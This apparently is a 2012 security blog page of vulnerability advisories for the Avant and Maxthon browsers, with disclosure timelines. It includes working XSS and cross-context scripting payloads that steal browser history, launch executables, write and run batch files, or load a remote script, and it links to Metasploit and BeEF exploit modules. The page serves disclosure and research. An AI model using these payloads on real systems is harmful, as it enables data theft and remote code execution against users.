malerisch.net: December 2012

Wednesday, 5 December 2012

Avant Browser - Stored Cross Site Scripting - Feed Reader (browser://localhost/lst?*)

Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)

Affected Software: Avant Browser Ultimate 2012 Build 28 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf

Stored Cross Site Scripting - Feed Reader (browser://localhost/lst?*)

A malicious user can inject and store arbitrary JavaScript/HTML code via multiple RSS feed elements. Vulnerable elements are the following:

<title> element: JavaScript injection using HTML encoded payload
<link> element: JavaScript injection using javascript: pseudouri ( this is rendered in about:blank zone.)
<description> element: JavaScript injection using HTML encoded payload

The following table shows an example of malicious RSS feed:

<?xml version='1.0' encoding="ISO-8859-1"?>
<rss version='2.0'>
<channel>
<description>Malerisch.net</description>
<link>http://blog.malerisch.net/</link>
<title>Malerisch.net</title>
<item>
<title>browser security><img src=a onerror='alert(1);' ;></title>
<link>javascript:alert(window.location);</link>
<description>07/09/2008 - I have done some research in the area of browser security and presented this argument at the last OWASP NZ meeting.<img src=a onerror='alert(2);';>
</description>
<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
</item>
</channel>
</rss>

Injection is possible in a single case: user views a malicious feed using Avant Feed Reader built-in component.

The Feed Reader is located at feed:// URI scheme (e.g. feed://localhost/browser/avent/rss.xml) Note that the URL of the feed has to be subscribed to be rendered under the feed: uri. Also, the feed:// uri scheme is mapped to browser://localhost/lst?domain.name/path/to/rss.feed.

Exploitation

This vulnerability can be defined as a traditional Stored Cross Site Scripting vulnerability. Although, the injection is rendered within an internal browser zone (mapped to browser://localhost/lst?domain.name/path/to/rss.feed ), invocation of privileged commands appears to not be possible as SOP is correctly applied to the browser:// zone.

Video

Avant Browser - Stored Cross Site Scripting - Feed Reader (browser://localhost/lst?*)

Timeline

07/03/2012 - Posted 10 posts to a forum to get a security contact
14/03/2012 - Reception of report confirmed but no further reply
14/03/2012 - Chased them, no reply
03-05/2012 - 2 new releases following the report, one bug silently fixed
12/05/2012 - HITB2012AMS - bug disclosed during presentation
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Avant browser.

Avant Browser - Cross Context Scripting - browser:home - Most Visited And History Tabs

Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)

Affected Software: Avant Browser Ultimate 2012 Build 27 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf

Cross Context Scripting – browser:home – Most Visited And History Tabs

A malicious user can inject arbitrary JavaScript/HTML code through the websites visited with the Avant Browser. The code injection is rendered into the both the Most Visited and History tabs within the browser:home page, which displays URL and the title of the page. A malicious user can inject and store JavaScript/HTML content by using the <title> HTML element, as shown in the table below:

<title>aaa"><img src=a onerror='var vstr = {value: ""};window.navigator.AFRunCommand(60003, vstr);alert(vstr.value);'></title>

Injected payload is rendered in the history item, as shown below:

Exploitation

This vulnerability can be exploited in several ways depending on the user action. The table below describes two possible scenarios:

Scenario 1

User visits a malicious web page;
User directly requests browser:home and clicks on “Most Visited” or “History” tab.

Exploit

Stored malicious payload will be rendered from the browser: privileged browser zone and so it would be possible to bypass Same Origin Policy (SOP) protections, and access Avant Browser native JavaScript privileged functions which can be invoked from the window.navigator object (e.g. window.navigator.*). Such Avant Browser object interfaces can be used to read browser history, bookmarks, or modify Avant Browser configuration.

Scenario 2

Clickjacking attack which tricks a user into clicking the “most visited” or “history” tab of the browser:home page rendered in a hidden iframe.

Exploit

In this case, this can be considered a traditional stored Cross Site Scripting vulnerability and SOP is forbids execution of privileged commands.

Video

Avant Browser - Cross Context Scripting - browser:home - Most Visited And History Tabs

Timeline

Avant Browser - Same of Origin Policy Bypass - browser:home

Details

Vendor Site: Avant browser (www.avantbrowser.com)
Date: December, 5 2012 – CVE (TBA)

Affected Software: Avant Browser Ultimate 2012 Build 28 and potentially previous versions
Status: Unpatched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Avant_multiple_vulnerabilities_advisory.pdf

Same of Origin Policy Bypass

A malicious user can execute arbitrary JavaScript/HTML code on the privileged browser:home page from an untrusted web page on Internet (http:// zone). This is possible by creating an iframe element pointing to the browser:home page and then invoking privileged commands using a window object reference to the iframe element, as shown in the example below:

<iframe name="test2" src="browser:home"></iframe>

<script>window['test2'].navigator.AFRunCommand(id_of_privileged_command, vstr)</script>

This code allows interaction from an untrusted zone (http://) to a trusted and privileged zone: browser:home.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the browser: privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Avant Browser native JavaScript privileged functions which can be invoked using the window.navigator object (e.g. window.navigator.*). Such Avant Browser object interfaces can be used to read browser history, bookmarks, or modify Avant Browser configuration. Below, an example of code which allows to read the browser's history is provided.

Exploit - Stealing browser's history

<iframe name="test2" src="browser:home"></iframe>
<script> var vstr = {value: ""}; window['test2'].navigator.AFRunCommand(60003, vstr) alert(vstr.value);
//send vstr.value via an img src to another domain </script>

BeEF module

A BeEF module has been developed which steals history of the Avant browser. The BeEF module can be found below:

https://github.com/malerisch/beef/tree/avant_browser/modules/exploits/avant_steal_history

Video

Avant Browser - BeEF - History Stealing exploit video

Timeline

Maxthon - Incorrect Executable File Handling and Same Origin Policy Implementation

Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf

Incorrect Executable File Handling

The way local executable files are handled by the Maxthon browser seems related to the fact that external tools such as Calc, Desktop, and others can be launched from the browser itself. This design is insecure as it allows JavaScript to directly invoke an executable. As shown in previous exploits, this design can aid exploitation by chaining different vulnerabilities at the same time, allowing for arbitrary command execution.

This vulnerability can be exploited in multiple ways:

Scenario 1

1. User visits a page which invokes the window.open() function against an executable file – e.g. file:///C:/windows/system32/cmd.exe
2. User unblocks the pop up blocker

Scenario 1 - Impact
The window will open as a new window, SOP is not enforced and this vulnerability would allow arbitrary code execution.

Scenario 2
User is fooled into bookmarking an executable file

Scenario 2 - Impact
Executable is executed directly by Maxthon. User is not prompted to either downloading the executable or discarding the download.

Scenario 3
SOP vulnerability discovered that would allow direct access to file:// zone from an untrusted zone

Scenario 3 - Impact
Arbitrary command execution.

Same Of Origin (SOP) Incorrect Implementation

It is possible to bypass Same of Origin of Policy (SOP) by using window.open() method against about: URI scheme. Such URI are mapped to privileged zone mx://res/*. However, by invoking directly against mx://res/, the SOP is applied and access is forbidden. The following table summarises test case conducted with window.open() method:

http:// -> file:// - Prompts a popup blocker, if the user allows the pop up, the file:// window is opened.
http:// -> about:* - Spawns a new window
http:// -> mx://res/* - Forbidden by SOP

Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Cross Context Scripting (XCS) - Bookmark Toolbar and Bookmark Sidebar

Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.3.3.1000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf

Cross Context Scripting

Cross Context Scripting (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.

Description

It is possible to inject JavaScript/HTML payload via the “title” parameter of the “Add to Favorites” form. In Maxthon, bookmark UI security controls are weak and allow a trivial exploitation, even for an attentive user, considering the following factors:

window.external.addFavorite() can be invoked in an automated fashion;
The title entry can be tailored to hide the injection payload;
URL of the bookmark can remain legitimate: e.g. www.google.com

The following screen shot shows an innocuous looking bookmark title and URL. The URL is correct but the title element contains malicious JavaScript code which is not visible directly.

The injected code is rendered at mx://res/sidebar/favorites/index.htm

Injection occurs under the following conditions/actions:

User opens the Favorites sidebar on the left (just clicking on the Star icon, without clicking the malicious bookmark);
User clicks on the bookmark link from the bookmark toolbar;
User navigates to another tab after having added the malicious bookmark.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

Malicious Add to Favorite Injection – HTML Source Code

<html>
<head>
<title>Google</title>
<head>
<script>
evilpayload='location.href="file:///C:/windows/system32/calc.exe";'
padding="Google - www.google.com"
padding2=" "
padding3=" - the best search engine - bookmark now!!!"
window.external.addFavorite("www.google.com",padding+"'><scri"+"pt>"+evilpayload+"</"+"script>"+" "+" "+padding+padding3)

</script>
</head>
<body>
<h3>Maxthon 3.3.3.1000 - Cross Context Scripting via Bookmark (title parameter) - Code Execution PoC</h3>
<font size="+1">Roberto Suggi Liverani - <a href="http://blog.malerisch.net">http://blog.malerisch.net</a> - <a href="https://twitter.com/malerisch">@malerisch</a></font>
<br>Steps:
<ul>
<li>User is prompted to bookmark an innocuous looking bookmark, like the one shown in the middle of the screen. The injected payload can only be seen if the user scrolls on the left of the title element.
<li>User adds the bookmark.
<li>User then clicks on the Star (Favorites) icon or
<li>User clicks on the bookmark link from the bookmark toolbar.
<li>In both cases, calc.exe is executed.
</ul>
The code for the exploit:<br>
<code>
evilpayload='location.href="file:///C:/windows/system32/calc.exe";'
window.external.addFavorite("www.google.com","yourpaddinghere'><scri"+"pt>"+evilpayload+"</"+"script>andpaddinghere");
</code>
</body>
</html>

Video

Maxthon - Cross Context Scripting (XCS) - Bookmark Toolbar and Bookmark Sidebar

Timeline

13/02/2012 - Bug reported to multiple contacts
21/02/2012 - Reception of report confirmed but no further reply
21/02/2012 - Chased vendors - no reply
12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Privileged API Available On i.maxthon.com

Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 6 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Patched
Researcher: Roberto Suggi Liverani - @malerisch

Privileged APIs Available on i.maxthon.com

The web site i.maxthon.com can access and use privileged Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read last visited pages or favorites, as shown in the following screen shot. Such information can only be retrieved by using privileged Maxthon functions.

Different issues were identified regarding this design:

No control on resolution of IP address for i.maxthon.com domain;
No use of SSL to serve the i.maxthon.com web site;
Use of icon "Trusted site" on the URL bar even when i.maxthon.com resolves to a different IP address.

Exploitation

This vulnerability can be exploited in several ways, as listed below:

DNS poisoning - Force resolution of i.maxthon.com to a controlled IP address
HTTP MiTM attack - malicious proxy which alters page content
Exploit XSS vulnerability in real i.maxthon.com site

Once it is possible to successfully perform one of the above attacks, then it would be possible to access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

Video

Maxthon - i.maxthon.com (DNS compromise scenario)

Timeline

12/05/2012 - HITB2012AMS - bug disclosed during presentation
02/11/2012 - 25 new releases following the report – 2 bugs silently fixed
14/11/2012 - HackPra - bug and exploit module presented

Solution

Do not use Maxthon browser.

Maxthon - Cross Context Scripting (XCS) - RSS - Remote Code Execution

<title> element: JavaScript injection using HTML encoded payload
<link> element: JavaScript injection using javascript: pseudouri
<description> element: JavaScript injection using HTML encoded payload

Injection is possible in two different conditions:

[1] User directly visits a malicious RSS page: e.g. http://x.x.x.x/maliciousrss.xml

In such case, the injection is rendered in the following point: mx://res/app/%7BGUID%7B/preview.htm?http://x.x.x.x/maliciousrss.xml

[2] User views or saves the malicious feed using Maxthon Feed Reader built-in component.

The Feed Reader is located at about:reader which is mapped to mx://res/app/%7BGUID%7B/reader.htm page. If the malicious feed is saved, injection is stored as well within the about:reader page.

Maxthon has to render the attack page in "UltraMode" to be affected by this vulnerability. The UltraMode is automatically set by default in Maxthon and makes use of Webkit.

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

A malicious user would need to convince a user to visit a link to exploit this vulnerability.

Malicious RSS Feed – Arbitrary Code Execution Exploit

<?xml version='1.0' encoding="ISO-8859-1"?>
<rss version='2.0'>
<channel>
<description>Malerisch.net</description>
<link>http://blog.malerisch.net/</link>
<title>Malerisch.net</title>
<item>
<title>test'><img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")';></title>
<link>javascript:alert(window.location);</link>
<description>07/09/2008 - test <img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")';></description>
<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
</item>
</channel>
</rss>

Metasploit module

Following disclosure of the bugs during HITB2012AMS conference, it was observed that the maxthon.program object was silently removed by Maxthon in recent versions. This only allows a malicious user to read and write files on the system.

Code execution without incurring in a warning or user prompt can still be achieved by overwriting an executable which can be called directly by the browser. A "dirty" way is to overwrite j2plauncher.exe assuming the victim has either JRE/JDK installed on the machine. The second step would be to force Maxthon to load java.exe (e.g. create an iframe that points to a page which loads a Java Applet). This approach was successfully tested on Windows 7.

On Windows XP, there are more choices to overwrite executable files, e.g. C:\\Program\ Files\\Outlook\ Express\\wab.exe and then force browser to invoke wab.exe via window.location='ldap://dummy'.

The PoC Metasploit module includes the "dirty" Java overwrite approach described above.

https://github.com/malerisch/metasploit-framework/blob/maxthon3/modules/exploits/windows/browser/maxthon_rss_xcs.rb

Video

Maxthon - Cross Context Scripting (XCS) - RSS - Java overwrite technique - Metasploit in action:

Timeline

Maxthon - Cross Context Scripting (XCS) - about:history - Remote Code Execution

Details

Vendor Site: Maxthon (www.maxthon.com)
Date: December, 5 2012 – CVE (TBA)
Affected Software: Maxthon 3.4.5.2000 and previous versions
Status: Unpatched (at the time of publishing)
Researcher: Roberto Suggi Liverani - @malerisch
PDF version: Maxthon_multiple_vulnerabilities_advisory.pdf

Cross Context Scripting

Cross Context Scripting (XCS) is a particular code injection attack vector where the injection occurs from an untrusted zone (e.g. Internet) into a privileged browser zone. In this case, it is possible to inject arbitrary JavaScript/HTML code from an untrusted page into Maxthon browser privileged zone - mx://res/*.

Description

A malicious user can inject arbitrary JavaScript/HTML code through the websites visited with the Maxthon browser. The code injection is rendered into the History page (about:history), which displays URL and a short description of the visited pages. A malicious user can inject JavaScript/HTML content by using the location.hash property, as shown below:

http://x.x.x.x/maliciouspage.html#"><img src=a onerror='var b= new maxthon.io.File.createTempFile("test","bat");c=maxthon.io.File(b);maxthon.io.FileWriter(b);maxthon.io.writeText("cmd /k dir");maxthon.program.Program.launch(b.name_,"C:")'>

Injected payload is rendered in both the <img> and <a> elements of a history item, as shown below:

Most recently, only a single injection point is possible after some silent fixes from Maxthon. The about:history is mapped to mx://res/history/index.htm, as shown in the screen shot below:

Exploitation

This vulnerability can be exploited in several ways. As the injection point is in the mx://res/ privileged browser zone, it is possible to bypass Same Origin Policy (SOP) protections, and also access Maxthon native JavaScript privileged functions which can be invoked from the Maxthon DOM object (e.g. maxthon.*). Such Maxthon object interfaces can be used to read and write from the file system, as well as execute arbitrary commands, steal stored passwords, or modify Maxthon configuration.

A malicious user would need to convince a user to visit a link to exploit this vulnerability.

The exploitation is divided into three phases:

[1] Create an entry in the history page which contains the injection - injection via location.hash

http://x.x.x.x/maliciouspage.html#<script src=http://malicious/malicious.js></script>

[2] Redirect browser to the about:history page to trigger execution in the Maxthon trusted zone maliciouspage.html would contain something as:

<body><script>window.location='about:history';</script></body>

Note this redirection should not occur since it is invoked from a page on the Internet (http://) - due to the protocol mismatch, same-origin policy should trigger.

[3] Invoke privileged Maxthon DOM API interfaces/objects to achieve remote code execution

From the about:history which is mapped to the mx:// it is possible to invoke special DOM API interfaces and objects, such as maxthon.io and maxthon.program. These special objects can be misused to achieve code execution.

Metasploit module

Following disclosure of the bugs during HITB2012AMS conference, it was observed that the maxthon.program object was silently removed by Maxthon in recent versions. This only allows a malicious user to read and write files on the system.

Code execution without incurring in a warning or user prompt can still be achieved by overwriting an executable which can be called directly by the browser. A "dirty" way is to overwrite j2plauncher.exe assuming the victim has either JRE/JDK installed on the machine. The second step would be to force Maxthon to load java.exe (e.g. create an iframe that points to a page which loads a Java Applet). This approach was successfully tested on Windows 7.

On Windows XP, there are more choices to overwrite executable files, e.g. C:\\Program\ Files\\Outlook\ Express\\wab.exe and then force browser to invoke wab.exe via window.location='ldap://dummy'.

The PoC Metasploit module includes the "dirty" Java overwrite approach described above.

https://github.com/malerisch/metasploit-framework/blob/maxthon3/modules/exploits/windows/browser/maxthon_history_xcs.rb

Video

Maxthon - Cross Context Scripting (XCS) - about:history - Java overwrite technique - Metasploit in action:

Maxthon - Cross Context Scripting (XCS) - about:history - maxthon.program technique - Metasploit in action:

Pages

Wednesday, 5 December 2012